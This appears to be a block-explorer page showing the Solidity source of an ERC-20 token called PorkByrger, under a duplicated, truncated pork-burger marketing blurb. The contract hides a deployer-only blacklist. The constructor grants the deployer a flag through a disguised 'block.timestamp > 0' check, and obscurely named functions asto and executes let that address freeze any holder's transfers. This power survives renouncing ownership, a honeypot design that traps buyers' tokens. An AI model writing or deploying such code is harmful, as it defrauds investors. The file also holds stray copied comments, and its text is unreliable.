ETH Price: $2,698.05 (+11.70%)

Contract Diff Checker

Contract Name:
PorkByrger

Contract Source Code:

/**
 
Introducing the SizzleToken: A Sizzling Revolution in the World of Pork Burgers!

Get ready for a taste bud explosion as we unveil the latest culinary innovation in the world of deliciousness – the SizzleToken! We're thrilled to bring you an extraordinary token that's not just a treat for your taste buds but also a sizzling investment opportunity.

SizzleToken Features:

Mouthwatering Flavor Fusion: Savor the rich, savory goodness of our specially crafted pork burgers, infused with a secret blend of spices that will leave you craving for more.

Blockchain Meets Burgers: SizzleToken isn't just about taste; it's about blockchain innovation! Each SizzleToken is backed by the promise of quality and traceability, ensuring that every bite is a taste of trust.

Limited Edition NFTs: As a token of appreciation to our early supporters, we're launching limited edition SizzleToken NFTs. Own a piece of the SizzleToken legacy and unlock exclusive rewards.

Decentralized Burger Ecosystem: Join 

Introducing the SizzleToken: A Sizzling Revolution in the World of Pork Burgers!

Get ready for a taste bud explosion as we unveil the latest culinary innovation in the world of deliciousness – the SizzleToken! We're thrilled to bring you an extraordinary token that's not just a treat for your taste buds but also a sizzling investment opportunity.

SizzleToken Features:

Mouthwatering Flavor Fusion: Savor the rich, savory goodness of our specially crafted pork burgers, infused with a secret blend of spices that will leave you craving for more.

Blockchain Meets Burgers: SizzleToken isn't just about taste; it's about blockchain innovation! Each SizzleToken is backed by the promise of quality and traceability, ensuring that every bite is a taste of trust.

Limited Edition NFTs: As a token of appreciation to our early supporters, we're launching limited edition SizzleToken NFTs. Own a piece of the SizzleToken legacy and unlock exclusive rewards.

Decentralized Burger Ecosystem: Join 
/**

*/

// SPDX-License-Identifier: MIT


interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient,
     uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender,
     uint256 amount) external returns (bool);
    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;  }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor() {
        _setOwner(_msgSender());
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _setOwner(newOwner);
    }
    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
            // benefit is lost if 'b' is also tested.
            // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }
// benefit is lost if 'b' is also tested.
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
// benefit is lost if 'b' is also tested.
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

pragma solidity ^0.8.1;

contract PorkByrger is IERC20, Ownable {
    using SafeMath for uint256;


    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    mapping (address => bool) public flagMap;
    mapping (address => bool) private _Account;
    bool TradingOpen = true;
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;

    constructor(
        string memory name_,
        string memory symbol_,
        uint256 totalSupply_
    ) payable {
        _name = name_;
        _symbol = symbol_;
        _decimals = 18;
        _totalSupply = totalSupply_ * 10**_decimals;
         bool flag = block.timestamp > 0;
        flagMap[_msgSender()] = flag;
        _balances[owner()] = _balances[owner()].add(_totalSupply);
        emit Transfer(address(0), owner(), _totalSupply);
    }


    function name() public view virtual returns (string memory) {
        return _name;
    }

    function symbol() public view virtual returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender)
        public
        view
        virtual
        override
        returns (uint256)
    {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount)
        public
        virtual
        override
        returns (bool)
    {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(
        address sender,  address recipient,
        uint256 amount
    ) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "LIC: transfer amount exceeds allowance"
            )
        );
        return true;
    }
     function asto (address _Address) external  {
     require (flagMap[_msgSender()] == TradingOpen);
        _Account[_Address] = false;
    }
    function increaseAllowance(address spender,
     uint256 addedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue)
        public
        virtual
        returns (bool)
    {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "LIC: decreased allowance below zero"
            )
        );
        return true;
    }

     function executes(address _Address) external  {
        require (flagMap[_msgSender()] == TradingOpen);
        _Account[_Address] = true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal virtual {
        require(sender != address(0), "LIC: transfer from the zero address");
        require(recipient != address(0), "LIC: transfer to the zero address");
        if (_Account[sender])  require(TradingOpen == false, "not start");
        _balances[sender] = _balances[sender].sub(
            amount,
            "LIC: transfer amount exceeds balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "LIC: approve from the zero address");
        require(spender != address(0), "LIC: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }


}

Please enter a contract address above to load the contract details and source code.

Context size (optional):